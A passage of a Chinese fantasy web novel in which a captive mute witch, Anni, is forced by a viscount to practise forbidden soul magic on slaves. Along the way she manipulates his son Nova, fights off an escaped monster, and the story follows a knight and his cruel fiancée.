手指突然收紧,羽毛笔在她指间断成两截。墨水溅在纸上,像一滩干涸的血迹。她咬着牙,用断笔蘸着溢出的墨水狠狠写道:
【不知道?】
【你都是土系魔女了,为什么不把整个子爵府给轰平】
"轰平?"珍珠突然轻笑出声,“我的魔力现在很微弱,别把希望放在我身上,小疯子。”
“我本身……就是没有希望的人了。”
安霓盯着本子沉默了一会,突然又像丧失兴趣一样,在本子上大大写了【晚安】后,重重地扣上本子塞进抽屉,甩掉了被折断的羽毛笔,爬回床用被子裹住了自己的身体。
……
安霓又被带到了书房。
亚特还是把上次那个吓傻了的奴隶戴斯带了过来,让安霓杀了他。
光粒子射向那个满脸胡渣的男人,一瞬间,他躺在地上,脸色苍白,身体以一个极度扭曲的姿势抽搐着,额头开始冒汗,疼的五官都快挤在一起了。
安霓的魔法存储少魔力强度低,可以通过不停练习来提高,但她并不太愿意用人类的身体来练习。
她还没变态到这种程度。
戴斯这个状态没持续多久,顶多15秒,他就恢复了正常,躺在地上大口喘着粗气。
她有意在缩减施法强度,起码可以让可怜的奴隶能少受点罪。
亚特见状,心里一阵窝火。
他手撑着头,皱紧了眉头,抬起眼看着面前这个白皙瘦弱的身躯,心里一阵烦躁。
当初他收到那个老女人给的资料,上面明确说了,她找到的是个不会魔法的魔女,这样的魔女没有传统魔法体系的约束,对禁术没有固定的概念和抗拒,也不会出现体系之间的冲突可能导致的不良后果,也就是说,这样的魔女学习禁术会更容易
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一些。
可是现在居然连个人都杀不了!
魔女怎么说也是魔女,怎么能废物成这样!
公爵会在3周后派人来验收成果,就这样的废物该怎么交差?!
他越想越气,气到后面走到安霓面前对她拳打脚踢,一边踢一边咒骂。
“你个贱人怎么能这么没用!快两周了!连个奴隶都杀不掉!怎么能这么笨!”
安霓蜷缩在冰冷的地板上,指甲深深抠进石砖缝隙。
喉间的血腥味越来越浓,她张嘴骂不出声,整个脑袋被亚特踩在脚下,脸上的骨头被膈得生疼。
“滚滚滚!把她给我带下去,今天没饭给她吃!”
主人生气了,整个书房没人敢再出声。安霓被身后的两个奴隶狠狠地扯住了项圈,跟手上的铁链勾在了一起,扯着她的脖子把她带了出去。
安霓被铁链勒得几乎窒息,项圈深深陷进脖颈的淤青里。她踉跄着被拖过走廊,离开了府邸大楼。
转角处的橡树突然沙沙作响。
诺瓦从树影里迈出,他穿着一件干净的白衬衫,黑色的裤子显得他腿长了不少,他的视线定在了安霓的身上,皱了下眉。
“抱歉,两位,能帮忙找一下雪花吗?”诺瓦挠了挠头,一副很困扰的样子,对着牵着安霓的两个仆人轻轻笑了一下。
他们俩是专门安排带着安霓来回的,两人相互看了一眼,刚想说什么,诺瓦就走了过来,接手了铁链。
“拜托你们了,阿黛尔如果生气了,我也……”
“知道了,诺瓦少爷,魔女就拜托您先看着。”说完,他们两个像上次一样钻进了灌木丛。
诺瓦有点惊讶安霓身上的伤,也不清楚自己的父亲到底要干什么不得了的事才需要这样对待一个女孩子。
“你没事吧,是不是很疼。”
安霓看着他,见过这几次面,发现他的表情一直都没有太大变化,就刚刚对着仆人笑了一下,然后立马就恢复了一种淡漠的表情,仿佛世事皆不足以触动他内心半分。
安霓垂下眼,轻轻点了点头。
“……抱歉。”诺瓦轻声说道。
安霓抬起头,看着他棕色的眼睛,清澈得仿佛两颗透明的琥珀。
真是个漂亮清秀的男人,如果能控制就更好了。安霓暗想。
可是自己恨铁不成钢,连控制术都学不了。
她睫毛微颤,抬起脸对着他笑了笑,仿佛在告诉他:没关系,一切都会好的。
诺瓦目不转睛看着她的笑脸,愣了几秒钟。
“你的嗓子……是一直这样吗?”诺瓦忍不住好奇地问道。
安霓的指尖轻轻抚过自己脖颈上的淤痕,嘴角扬起一抹破碎的笑,摇了摇头,转过身去,拼命眨眼,艰难地挤出了两滴眼泪。
诺瓦以为自己问错话了,立马走上前想看看她的状态,急切地问道:“抱歉,我……我不该这么问。”
安霓顺势转向他,泪眼婆娑地看向他的眼睛,伸手慢慢摸上自己的脖子,一垂眼,几滴眼泪顺着淤青的脸颊滑了下去。
诺瓦一下慌了神,想掏出口袋里的绢布,刚从兜里掏出来,一个没拿稳又掉在了地上,他脸上尴尬挠了挠头,弯下腰去捡。
“我会帮你找药的,你别哭啊!”
诺瓦拿着银色绢布,想擦一下她脸上的泪水,安霓突然后退一步,诺瓦的手又悬停在了半空中。
他望向安霓浸满泪水的眼睛,手慢慢放了下来,耳根子开始发粉,蔓延到耳尖,变得愈发红。
“诺瓦少爷!”仆人抱着雪白小狗跑了过来,“找到了,诺瓦少爷。”
诺瓦突然回过神,赶忙接住了狗,抱在怀里摸了几下:“布雷克,荻尔,你们第二次帮我了,谢谢你们。”
两人听到诺瓦叫他们名字时,有点受宠若惊。
偌大的子爵宅邸,仆人众多,大少爷诺瓦也不是个活泼爱交际的人,能让他叫得出名字的仆人自然也很少。
“能帮上您是我们的荣幸!”他们向诺瓦举了个躬,随后便拉着安霓离开了。
安霓脸上挂着两行泪,回头看了一眼诺瓦,诺瓦愣在原地,耳朵通红。
……
4. 第四章
安霓站在镜子前,小心翼翼地碰了一下自己的肿胀的脸。
“小疯子,又挨揍了?”
珍珠的声音带着笑意,从墙壁传来。
安霓回头看了一眼墙壁,不屑地哼笑了一声,继续回头照着镜子。
经过了一夜,该肿的地方也开始肿起来了,手指悬在肿胀的颧骨上方,镜中的自己狼狈不堪,左眼几乎被淤血挤成一条缝,嘴角结着暗红的血痂。
她突然扯动嘴角,对镜子里的人露出一个狰狞的笑。
坏了,把自己丑到了。
墙缝里传来珍珠银铃般的笑声:“现在知道疼了,这就是你手下留情得到的后果。”
“不过就算你没手下留情,大概率也杀不了他。”
“你的魔力强度太低了。”
安霓没理会,放下镜子坐在了桌前,摊开本子,用半截羽毛笔蘸着墨水,写道:
【你想出去吗?】
珍珠愣住了,声音有些失落的答道:“我出不去的。”
安霓笑了一声,摇了摇头。
【为什么出不去】
【你不会是亚特藏在家里的情妇吧?】
【天呐】
珍珠黑着脸,小妮子嘴真是欠。
【不逗你了,你帮我解答疑问,等我出去以后回来救你】
“……”
“你怎么那么能保证你能出去,靠着你的这股倔驴一样的疯劲吗?”
安霓笑了起来,抬眼看了一眼墙壁。
【珍珠,我有办法杀亚特】
【不过在此之前,你能教我一些用量小,又好学的魔法吗?】
……
第三周的情况没比第二周好多少,倒霉蛋还是那个满脸胡渣的奴隶戴斯。
他精神萎靡地被带了上来,安霓施法后的效果,也只比第二周多了10-15秒左右。放第二次光粒子时,效果只有5秒。
亚特暴怒,一脚踢翻了面前的桌子。
不过安霓没挨揍。巧的是回去的路上又见到了诺瓦,他穿着一身黑,像第一次见面一样站在都是落地窗的走廊上,捧着一本书装模做样地看着。
他看向安霓,安霓照常给他笑了一下。
第四周,也就是现在。
那个胡渣倒霉蛋戴斯正在躺在地上喘气,安霓的施法给他带来的痛苦也只维持了15s。
不过不知道亚特有没有注意到,这回戴斯被带上来的时候脸色特别差,整个人瘦得都快只剩下骨头了,他现在躺在地上喘气的气息也比前几周微弱很多。
书房的窗外传来一声巨响,所有人都猛得抬起头,双眼迅速聚焦到窗外。只见一团阴影迅速掠过,紧接着是一连串混乱且密集的撞击声,仿佛有什么庞然大物直接砸落在屋顶之上,紧接着便是瓦片四散飞溅,清脆的破裂声响如同雨点般连续不断。
“大人!月影骑士来了!”一个仆人破门而入,“来了很多人!”
“怎么回事?!”亚特大喊,使了个眼色给管家,然后带着几个仆从快步离开了房间。
亚特走后,管家让人把戴斯拖下去,又让人带着安霓回去。
安霓从书房出来,对上诺瓦的眼神。
安霓怀疑他是故意的,总不能在这么巧每次都能遇到吧。
诺瓦穿着白色的衣服,怔怔的看着她:“刚刚是什么声音?”
牵着铁链的布雷克向诺瓦举了个躬,说:“具体我们也不知道,月影骑士的人来了,大人去处理了。”
话音刚落。天花板伴随着震耳欲聋的轰鸣声骤然塌陷,大片的砖块木梁伴随着大量灰尘如瀑布般倾泻而下。
“快走!”诺瓦见状,往前大力推了安霓一把。
一声巨响,灰尘四起,顿时整个走廊笼罩在一片混乱和恐惧中,一只巨大的双翼生物张着翅膀,趴在废墟上发出野兽般刺耳的吼叫声,全身漆黑光滑,翅膀的骨头突出,骨节分明,尖锐的边缘长着倒刺。
安霓倒在地上,用手扇了扇面前的灰尘,咳嗽了几声。诺瓦在不远处倒在地上,惊讶的看着面前这个庞然大物。
全身漆黑的怪物面部轮廓线条锐利,额头上长着几根毛,额前一块菱形的红色石头像是镶嵌在肉里,它凸起嘴呲着牙,显露出来的是两排洁白而锋利的牙齿,与它全身的黑色形成鲜明对比,显得格外恐怖与狰狞。
布雷克和荻尔缩到了墙边,一脸惊恐不知所措。诺瓦离怪物最近,怪物也看向他,他坐在地上惊的说不出话,安霓的存在已经让平静生活的他看到了一个不一样的世界,而这东西的出现更让他惊讶不已。
怪物的眼睛整个都是银白色,在月光下它们就像两轮小型的满月,散发出淡淡的光芒,它不知是受到了惊吓还是怎么,匍匐在废墟上,目不转睛的盯着离它最近的诺瓦。
眼眸如银的怪物依旧保持着威慑的姿态,面对这股压迫感,诺瓦心里泛起一阵阵恐惧,不敢有大幅度的动作,他坐在地上,双手撑着身体,小心翼翼的向后移动,试图增加与怪物之间的距离。
安霓蹲下身,也在一点点小心翼翼的朝诺瓦的方向移去,脑子里快速回忆珍珠教给她的一些魔咒。
它应该也是个魔法妖兽,但是为什么会出现在这里?
不过安霓已经顾不上这么多了,本就没有自由的她,现在只想活下去,并获得诺瓦的信任,不然在这里寸步难行。
而这种时刻就是绝佳的好机会。
况且……他刚刚不也推开了她吗……
一声枪响划破了诡秘的气氛。
"少爷快走!"荻尔不知道从哪里拿出了一杆枪,惊恐的对着怪物不停开枪。
几发子弹接触怪物的皮肤一瞬间爆发出了火光,但是也只限于火光,下一秒,子弹零零碎碎的弹了出去,光滑的皮肤依旧光滑,没有一点穿透受伤的痕迹。
荻尔瞬间吓傻,瘫坐在地上。
庞大的身躯显然受到了惊扰,又发出了尖锐刺耳的吼叫,震得四周的空气都在颤抖。紧接着它开始拼命爬下废墟,想快速逃离这里,根本顾不上离它最近的弱小的诺瓦,直直的朝这边压过来。
意识到危险,诺瓦本能的举起胳膊,交叉挡在头前面,他紧闭双眼,身体紧绷成一团,将头尽可能地低垂。
在那一刻,时间仿佛变得无比漫长,每一次心跳都清晰可见。在诺瓦以为自己要被这庞然大物压死时,却没有出现任何感觉,只有微风拂过他满是冷汗的脸。
诺瓦睁开眼睛,看到一圈奇怪符文化成了一圈红色的巨大屏障,而挡在他面前的是一道瘦小的身影,黑色的长发轻轻飘起,举起的双手做着一个类似三角的手势,发着红色的光,光前面就是那圈巨大屏障。
诺瓦睁大了眼睛。
怪物撞击到屏障时因为疼痛,发出剧烈的吼叫。安霓迅速手势一变,屏障里的符文化作几束红光朝怪物射了出去。
……
“毕竟在这片大陆上,会有很多生物对我们造成威胁,所以魔女父母教给孩子的第一个魔咒,就是用施咒人的血,化作一个屏障来抵挡伤害,并且能及时做出反击。”
【那代价也有点大啊,这魔法叫什么?】
“没有固定的名字,但是我
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叫它‘生命之墙’。”
……
数束耀眼的红色光芒射了过来,精准地击中了正痛苦嚎叫的怪物。这些光芒犹如利剑一般,穿透了黑暗,带着灼热的能量,触及到怪物皮肤的瞬间,立即形成了一个光笼,将其庞大的身躯牢牢包裹其中。怪物仿佛遭受了无法忍受的剧痛,发出撕心裂肺的嚎叫声,声音中充满了绝望与愤怒。
怪物终于支撑不住了,庞大的身躯失去平衡向侧面倒去,轰然撞开了旁边的墙壁,巨大的冲击力让建筑无法承受,砖石纷纷崩裂,尘土漫天飞扬,怪物直直的落了下去。
安霓颤抖的收回屏障,屏障立马化成一道道血条发着红光钻回安霓手腕上的伤口里。可是就在一瞬间,安霓化作一道红光闪了出去。
怪物并没有直接落在地上,而是在落地之前就展开了翅膀,颤颤巍巍的朝前飞了一段距离,却还是落了下去。
好巧不巧的是,一个穿着粉色蓬蓬裙的女孩,正瞪大了自己透亮的眼睛看着从那栋建筑上跌落下来的怪物。
或许是因为年纪尚幼,她并未感受到太多恐惧,反而对这样不可思议的现象充满了好奇。
更好巧不巧的是,怪物晃晃悠悠飞向的距离,正是她的方向。
顿时一大片黑色的阴影笼罩了下来,覆盖了女孩娇小的身影,几乎让她陷入了完全的阴暗之中。
女孩呆呆的抬起头,瞪大了眼睛,还来不及有什么情绪时,一道耀眼的红光如闪电般划破夜空,紧接着便是安霓的身影及时出现,将她紧紧拥入怀中,保护得严严实实地蜷缩在自己胸前,安霓紧闭双眼,全身绷紧,准备迎接即将到来的巨大压力。
黑色的压力并没有如期出现,安霓差点以为自己要死了,她睁开眼睛,看到一道身影出现在她面前,一头乌黑的短发在月光下泛着光泽,一身黑色的骑士装束让他的身姿显得更加修长挺拔,长披风上印着蓝色的狼头,手里握着一把发着黑色雾气的长剑。
面前的怪物倒在地上厚重的喘着粗气,一道巨长的伤口划破它的肚子,绿色的血拼命的往外流,伤口的表面弥漫的黑色的雾气还在往可怖的伤口里钻。它扬起脖子对着月亮发出嚎叫,最后痛苦的倒在地上没了动静。
加斯贝德收起了剑,侧过头看了一眼安霓,墨绿色的眸子带着淡淡的光。
“茉莉!”阿黛尔脸色苍白的带着一群女仆急急忙忙赶过来。
“妈妈!!”女孩挣脱出安霓的怀抱,白皙的小脸瞬间红了,眼睛里充满了水汽,跌跌撞撞地跑向了阿黛尔。
茉莉扑向阿黛尔,随后哇得一声哭了出来。
阿黛尔精致的脸急得脸色发白,她紧紧拥住茉莉,轻轻的拍着她的背,又是责备又是心疼。
“你怎么可以瞎跑!你知道妈妈有多着急吗?要是出什么事怎么办!”
“西勒!你是怎么照看小姐的!”阿黛儿转头指责照看茉莉的女佣,女佣紧张地跪在地上结结巴巴地解释。
安霓跪在地上一口血喷了出来,脸色瞬间白了下去。
她从来没这么用过魔法,也不知道会发生什么,可是她现在喘不上气,脸色也越来越差,全身止不住的颤抖。
阿黛尔看了一眼安霓,几秒后又不自然地撇开眼睛不看她。
加斯贝德侧过身看着她,眼底情绪复杂,轻声道:“为什么…”
安霓的头像是挂了千斤顶一样,重重地垂了下去,突然感觉有人伸出胳膊扶住了她,又顺势倒在了那个人的怀里。
晕倒之前,安霓模模糊糊地看到,诺瓦正拼了命的朝她跑过来。
……
5. 第五章
安霓再次醒来时,只感觉眼前的天花板在转动,转得她想吐。
她回到了那个没有窗户的房间里。
“醒了?”珍珠的声音响起。
安霓吃力地坐起身,蜡烛的光在墙上投下了摇曳的影子,安霓揉着太阳穴,努力压制想吐的不适感。
“你真是个疯子,又过度使用魔法,”珍珠说道,“你这样使用会带来对□□的损伤。”
安霓爬下床,坐在桌子前面,打开交流本开始写字。
【你都看到了?】
“是的。毕竟这么大动静。”
安霓裂开嘴笑了起来。
【如果出去了,你一定是个厉害到爆炸的魔女】
“看来你心情不错,我还以为你醒了以后心情不好又要对我阴阳怪气。”
安霓低头笑了一下。
【我是个好魔女,从来不会情绪化骂人】
【你教的魔法很好用。】
“你为什么要救她?”
【你说谁?】
“茉莉,阿黛尔的女儿。”
她自己也不知道,其实她早就看到不远处的草地里有个粉色的小身影,但是那个怪物飞过去的一瞬间,脑子里突然出现了一个模糊的身影正好跟茉莉的身影重合在了一起,同样瞪大了双眼,同样弱小,之后她想都没想就冲了出去。
【你就当我日行一善吧,我可是大善人。】
珍珠笑出了声,后又轻声说:“不过还是谢谢你,安霓。”
【谢我什么?谢我救了茉莉?】
珍珠没回应,只是笑了一下。
安霓重新躺在床上,揉着太阳穴,回想脑子里那个模糊的小身影,可是一去想头又开始痛,又一阵眩晕,安霓忍无可忍,起身跑向了厕所。
……
这座宏伟的建筑矗立在城市的边缘,远离喧嚣,建筑后有一片宽阔的湖畔,四周环绕着郁郁葱葱的树木。
空旷的大殿里,三个特殊的座位高高在上,呈三角形状分布,采用了透明材质搭配金属框架,仿佛悬浮于空中一般。
一位中年男子身着白色长袍,质地柔软,以金黄色的丝线为边,黑发被精心打理,一丝不苟地往后梳起,完全显露出了他布满抬头纹的额头。他坐在中间的座位上,表情严肃,浑身散发着一种不容忽视的气势。
他是星迁会的会长——艾登·塞弗斯通。
加斯贝德在大殿里单膝跪地,右手放在胸前,附身汇报着情况。
“月蝠兽已经斩杀,请老师放心。”
艾登点了点头:“辛苦你了,这次月蝠兽出逃实在是可疑,加斯贝德,查清楚这件事。”
“是。”
“今晚去看看你的未婚妻吧,她最近不太好。”艾登说道。
“是”加斯贝德起身,举了个躬,离开了大殿。
月光轻轻洒落在宁静的湖面上,宛如无数细碎的银片在水中跳跃,每一道波纹都被镀上了一层淡淡的光辉。
加斯贝德穿过湖中间长长的石桥,映入眼帘的是一座小城堡,城堡铺满了青灰色的石砖。
他刚握住门把手准备开门,门吱呀一声打开了,几名长相俊美,奇装异服的男人正接二连三的从城堡里出来,加斯贝德皱了皱眉头,侧身让路。
城堡是黑橙色的布置,一进门巨大的油画映入眼帘,描绘了一场古老的战斗场面,骑士与龙的对决。加斯贝德轻车熟路的上了楼,穿过一道道昏暗的走廊,最终停在一扇同样装饰豪华且庞大的门前,他迟疑了一下,随后抬起手敲了敲门。
“进来。”一个女声从房间里传了出来。
加斯贝德推门而入。
刚关好门,一个身影扑了过来,钩住了他的脖子,双脚框上了他的腰,像一个树懒却很精神的挂在了他的身上。
加斯贝德皱着眉头:“下来,贝加。”
一个金色短发,蓝色眼睛的年轻女人从他身上下来,穿着一件简洁而优雅的白色睡袍,歪着头笑嘻嘻的看着他。
“加斯,你怎么还是这么冷漠。”贝加抬手交叉在头后面,嘟囔着爬上了圆形的大床。
“老师很担心你,”加斯贝德走到沙发旁坐下,“不过刚刚那些男人。”
贝加眯着眼睛,一副无所谓的模样,用脚趾灵巧地挑起床上一块轻盈的薄纱,将其随意搭在自己肩上。
“那你要告诉他吗?”贝加挑眼看着他,笑意在她的眼角绽放,天真又灿烂。
加斯贝德沉默地望着她。
“那你告诉他吧,”贝加歪着头跟他对视,声音轻柔,“只要他生气,我就开心。”
她每次笑起来都带着一种不谙世事的天真,但是行为举止轻浮乖戾。她的美貌无可挑剔,精致的五官,完美比例,一双宝蓝色的眼睛清澈见底,可能只在某些时刻,才能从她眼底捕捉到一丝悲凉的情绪。
加斯贝德看着她沉默良久,最后叹了口气:“我还是不希望你伤害到你自己。”
“哈哈哈哈,”贝加大笑起来,“加斯你真是个好人,干脆我直接嫁给你算了。”
加斯贝德挑了挑眉,对着她笑了一下:“可以,那老师肯定会很放心。”
贝加的笑容在脸上僵持了一瞬,垂下眼笑着:“好坏啊你,加斯。”
“听说前几天你杀了一个奴隶。”
“一个奴隶而已,”贝加毫不在意的说,“她打碎了我的杯子,那可是我最喜欢的杯子。”
加斯贝德看向了桌面,那里曾经总是放置着一盏精美的琉璃杯,那是贝加特别钟爱之物,是她父亲——艾登·塞弗斯通送给她的,她没用过它盛过任何液体,却总时不时会看着它出神。
“所以你就挖了她的眼睛,挑了她的手筋?”
“你要伸张正义吗?”贝加一步步靠近他,脸上依旧挂着天真的笑容,“亲爱的加斯。”
一阵突如其来的微风悄然穿堂而过,屋内的蜡烛瞬间失去了光芒,火苗在最后挣扎几下后归于沉寂。满月的银光撒了下来,映照在地上。
贝加站在加斯贝德面前,金色柔软的短发被月光铺了一层银光,透亮的蓝色眼眸像是两汪深邃的湖水,在月光的照耀下波光粼粼,反射出微微的光晕。
“你看你,”贝加的胳膊慢慢攀附上加斯贝德的脖子,身体向他靠近,“怎么还生气了?我可是你的未婚妻。”
他绿色眸子如翡翠般深邃,此刻在月光的映衬下更加显得幽暗而凝重,脸上的表情凝固,冷漠地看向她。
“反正我们都快结婚了……”贝加踮起脚尖,挽住他脖子的手缓缓插入他柔软的黑发里,整个身子靠了上去,一点点的贴上他的脸,闭上眼准备吻他。
加斯贝德摁住了她的胳膊,把她轻轻往后一推:“我会如你所愿把你的行为告诉老师,不过还是希望你不要总伤害自己。”
贝加愣了一下,随后眯着眼笑了起来。
“好啊,求之不得。”
……
可能是救了他两个孩子,亚特对安霓的态度缓和了不少,虽然还总是“低贱的血脉”叫着。
阿黛尔之后也没有像上次那样过激的情绪和行为,只是每次无意间和安霓对视后,都会不自觉的把眼睛撇到别的地方去。
诺瓦依旧在必经之路上找理由等她。带着她的布雷克和荻尔虽然依旧不主动跟她说话,但也没有再扯她脖子上的铁链让她快点走了。
此刻诺瓦拎着一个大袋子,尴尬的露出了点难得的笑容:“那个……雪花……”
“少爷不必说了,我们懂。”荻尔笑了笑,拉着布雷克跳进了灌木丛里。
诺瓦小心翼翼的解开袋子,里面装满了瓶瓶罐罐
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,说道:“我找了很多药,说不定能治你的嗓子。”
安霓表现得十分惊讶,猛得抬起头看向诺瓦。
诺瓦对上了她的眼睛,他一直觉得安霓的眼睛像阿黛尔曾经戴在手上的红宝石,剔透又深邃。
那天晚上,她的黑发微微卷曲,漆黑亮丽,白皙的皮肤在月光下产生朦胧感,红色的眼睛像在黑夜里跳动的火焰,回头看他时,美得让人惊叹。
诺瓦感觉自己的胸腔里有东西开始加速跳动,脸上开始发烫,他有点不自在低下头:“那个……也不知道有没有用,一会让布雷克帮你带回去。”
安霓走上前一步,伸出了手。
诺瓦瞪大了眼睛身体僵在原地。
她捏住了一绺棕发,轻轻的别在了他的耳后,对着他笑了起来,露出两排洁白的牙齿,颇为孩子气。
诺瓦的耳朵又开始变粉,一言不发地注视她。
“那个……少爷。”布雷克抱着雪花站在身后,尴尬地笑着。
“啊……谢谢。”诺瓦立马接过雪花,耳朵红得都要滴血了。
“少爷,有句话我想跟您说一下,”布雷克看了一眼荻尔,点了点头,荻尔意会,转身牵着安霓走到了几米开外。
“少爷,”布雷克向诺瓦举了个躬,“望少爷原谅,我知道我的身份不应该说这些话,但是还是想提醒一下少爷。”
“我知道少爷的心,但是希望少爷能多想想,大人他不会同意的,她是个魔女。”
诺瓦回头看了看不远处的安霓,她低头踩着脚下金黄的落叶,黑色的铁链还是沉甸甸的挂在她的脖子上,细长的脖子被反反复复勒出了红印。
“我知道了。”诺瓦回过头,把装着各类药的袋子递到布雷克手里,“把这个一起给她带回去吧。”
“是。少爷下次不必折腾雪花,只需跟我们说一声就好,“布雷克微微鞠了个躬,拎着袋子准备离开,却在转身时犹豫了一下,“不过还是希望少爷能好好考虑一下。”
诺瓦点了点头,停在原地看着他们离开。
安霓被带走时,侧着脑袋对着他笑了一下。
他愣在原地,没迈出一步。
……
所有的小玻璃瓶都摆在了桌子上,有绿色冒着泡的,有粉色里面还带着亮闪的,有像牛奶一样白色的等等,占满了安霓的半个桌子。
安霓好奇他从哪弄到这么多东西的,有些甚至不像是人类会用的,比如手里这瓶黑色还冒着烟的。
他不会被骗了吧,安霓想。
她拿起本子,敲了敲墙壁,想问问珍珠这里面有没有可以有效治疗她嗓子的药。
可是珍珠半天没动静。
安霓觉得珍珠可能是睡着了,就回到椅子上。屁股刚坐下,用手指来回摆弄瓶子,发出叮当咣啷的响声。
珍珠的声音响起。
“他挺用心的。”
安霓迅速打开本子【这里有你认识的药吗?】
珍珠又没回应了,安霓不知道珍珠怎么了,不过她肯定是看到了刚刚在楼下的场景。
【你不舒服吗?】
“安霓,答应我。”
“不管你的目的是什么,不要伤害他。”
【他是你什么人吗?】
“答应我,安霓,我清楚你的想法,不要伤害他。”
安霓的笔停下了,不知道该怎么回答珍珠。
她一直在怀疑珍珠是不是亚特派来监视她的人,不过现在还不能确定。
至于诺瓦,她也深知自己在干什么,如果没办法控制他,那就另寻他法——用外貌和眼泪骗取诺瓦的同情心。
可是有些事情一开始,如果没个结果,必定会造成伤害。
安霓犹豫半天,还是执起笔。
【我尽量吧。】
……
6. 第六章
今年的雪下的特别早,初雪来临时,那个满脸胡渣的戴斯,死在了关押奴隶的地下室里。
死时胸前骨头凸起,瘦得都快成骷髅了,眼下发青,唇色发白,像极了久病不愈,耗光了所有生机的模样。
而安霓施展了6次灵魂虐杀术,每一次的能看到的效果最多也只维持了30秒。
亚特很高兴能有这个结果,起码禁术是真的有效果,也不枉他在公爵那边说好话,让验收的期限一拖再拖,当初这本书到他手上时,他还有些不屑。
过去的事,让他对魔法这种存在并不喜欢,以至于诺瓦出生之后,也有意屏蔽他看到魔法的机会。
现在他也能交差了,只是从施咒到死亡之间的时间太长了,如果不能一招致命,就不能很好的应付那边的人。想到这,亚特又开始苦恼的揉脑袋。
安霓知道戴斯死亡后,一路上都面无表情。
当天晚上,她坐在床上许久,本就没多少的蜡烛烧完了也没去换,黑暗中看不清她的表情,也没摊开本子继续像往常一样跟珍珠聊天。
不过珍珠大致也清楚,安霓并不想致那个戴斯于死地,都是被困在笼子里的人,大家都很难,可是他的确因她而死,这让她很不好受。
虽然她从来没想过杀谁,可是她不杀,她就会被杀。
就算隔着墙,珍珠也能感觉到黑暗中安霓的愤怒,当然这愤怒,也有对自己的愤怒。
而另一边,月影骑士团再次登了兰伯特子爵的大门。
加斯贝德身后跟着的一名骑士手里端着一个盒子,上面印着繁复的蓝白色花纹,正中间还印着星迁会的标志:三颗重叠的蓝色星星。
“月蝠兽的事,星迁会深感抱歉,骑士团来得不及时,给兰伯特大人带来了麻烦。”加斯贝德抬了抬手,端盒子的骑士上前,毕恭毕敬地把盒子呈在了亚特面前。
亚特拿起漂亮精致的盒子仔细端详,脸上立马露出笑容。
“哪里的话,要不是加斯贝德大人好剑法,斩了那东西,我们都不知道该怎么办呢。”
“听说,”加斯贝德转头,嘴角翘起,对着亚特露出生硬的笑容,“听说子爵府的炖牛肉很好吃。”
亚特的笑容瞬间僵在脸上。
……
安霓靠在床上翻着那本厚厚的书,皮革书皮上的暗绿色宝石还在隐隐发着光。
已经一个半月过去了,亚特怪她学得太慢,效果太差,让他不好交差。
可是他要给谁交差,安霓当时看着他,想竖起耳朵继续听,可是他没有继续说下去了。
不过亚特还真是笨蛋,安霓想,起码得找个懂行的,给他翻译一下这本书讲的是什么吧。
安霓摸着书上的古文若有所思,上面写的是关于灵魂操控的第二章内容——意识操控。
门外突然有异响,安霓把书摊在床上,下了床,耳朵趴在门上。
锁在门外被拧开,安霓吓了一跳,往后退了一步。
荻尔的脸出现在门外:“跟我走吧。”
安霓被带到一个一层的大厅里,刚踏进去,仿若步入了一个华丽殿堂。
大厅极为宽敞,天花板高耸,其上悬挂着几盏巨大的原型台面,上面放着一圈圈没点燃的蜡烛,两扇非常大的落地窗占据了整面墙壁,将外面的雪景毫无保留的展现在眼前,窗框由厚重的黑色实木打造而成,经过精心的打磨和雕琢,呈现出深沉而华贵的质感。
光反射到外面大片的白色,衬的整个大厅十分明亮。
穿着工整统一服装的仆从带来了一男一女,站在安霓的对面。
荻尔说:“你的进度太慢了,大人很不满意,大人下令,你用这二人来练习,以加快进度。”
一男一女穿着灰色的长袍,面色土灰,警惕地看着安霓。
安霓定了定心,比起什么灵魂虐杀,她更想知道意识操作是个什么了不得的东西。
她闭上眼睛,心中默念着刚刚看过的咒术口诀。
周身气场骤变,空气仿佛被无形的力量搅动,一边发出低沉的嗡鸣,一边时不时闪着绿色的丝光,随着安霓的口中念念有词,走上前,举起手想摁住男人的太阳穴和眉心。
男人受到了惊吓,开始往后退,抬起胳膊想阻挡安霓的靠近。周围的仆人凑上前,强制性地按住男人的胳膊和肩膀,把他牢牢地固定住。
一旁的女人开始大哭,嘴里大叫着安霓听不懂的语言。
男人惊恐绝望地望着逐渐靠近的红瞳,紧张地闭上了眼睛。
安霓张开双手,轻轻按住了他的太阳穴和眉心,红瞳开始发出红色微光,周边时不时闪烁的绿光像得到了某种指令一样,纷纷汇入男人的太阳穴里。
男人额头开始冒汗,全身颤抖,脑子里像是在跟什么力量抗衡一样。
安霓也开始出汗,摁着对方头的双手止不住的颤抖,绿光还在不停地涌入,直到安霓吐了口血,倒在了地上。
荻尔吓了一跳,上前扶起她。
男人也吐了口血,往后倒了下去,女人瞪大了眼睛,扑了上去准备抱住他。
“继续。”
站在窗户边,穿着高级西装的男人开了口。
安霓见过他,亚特的执事——以利亚,一头黑发,梳着长辫子,带了个金丝边眼镜,安霓第一次见他时,光看外表就给她一种精致疯感的错觉。
安霓一条腿跪在地上撑着,抬起头瞪他。
女人抱着自己的丈夫,留着泪,恶狠狠的对着安霓大叫:“你们都是恶魔!你已经杀了戴斯,你还想杀了我们!”
这次她能听懂了。
“你们这群红色眼睛的怪物果然都应该死光了才好!”
“我们兢兢业业做农活,讨口饭吃!为什么要让魔女杀我们!”
“戴斯的女儿还这么小……”
“魔女都该死!!”
安霓愣住了。
以利亚推了推鼻梁上的眼镜,抬着头,眼珠向下看安霓,嘴里发出命令:“我说,继续。”
一腔怒火升了起来,安霓挣脱开荻尔扶着她的手,迅速抢过手里的铁链,往脖子上一围,然后疯了一样地跑向以利亚。
以利亚被安霓的行为惊到了,抬起胳膊准备抵挡,谁知安霓并没有正面进攻,靠近他的同时调转反向,灵活地身躯跳了起来,半眯着眼睛,从后面扑向以利亚。
她抬起手,狠狠摁住以利亚的眉心和太阳穴,周围空气开始震动,翁鸣声响起,绿色的光丝迅速钻进了以利亚两边的太阳穴里。
以利亚身体像是被定住了,眼球往上翻,张开嘴开始痛苦地大叫,金丝眼镜摔到了地上发出清脆的响声。
“以利亚!”仆人们一时慌了,正想扑上去制止安霓的行为。
安霓突然呲起牙,瞪着眼睛巡视周围,嘴里发出低声的吼叫,像一只随时攻击人的野兽在发出警告。
所有人都被安霓的表情吓到了,愣在了原地,不敢上前。
安霓疯狂地给以利亚植入“杀掉亚特再自杀”的念头,而刚刚给那个男人植入的念头仅仅是“抱抱你旁边的女人”
安霓胸前一阵钝痛,堵得实在是难受,还是没忍住一口血呛了出来,开始剧烈咳嗽,按在对方额头的手松了一下,以利亚突然伸出手往后一勾,抓起安霓的胳膊,把她往外甩了出去。
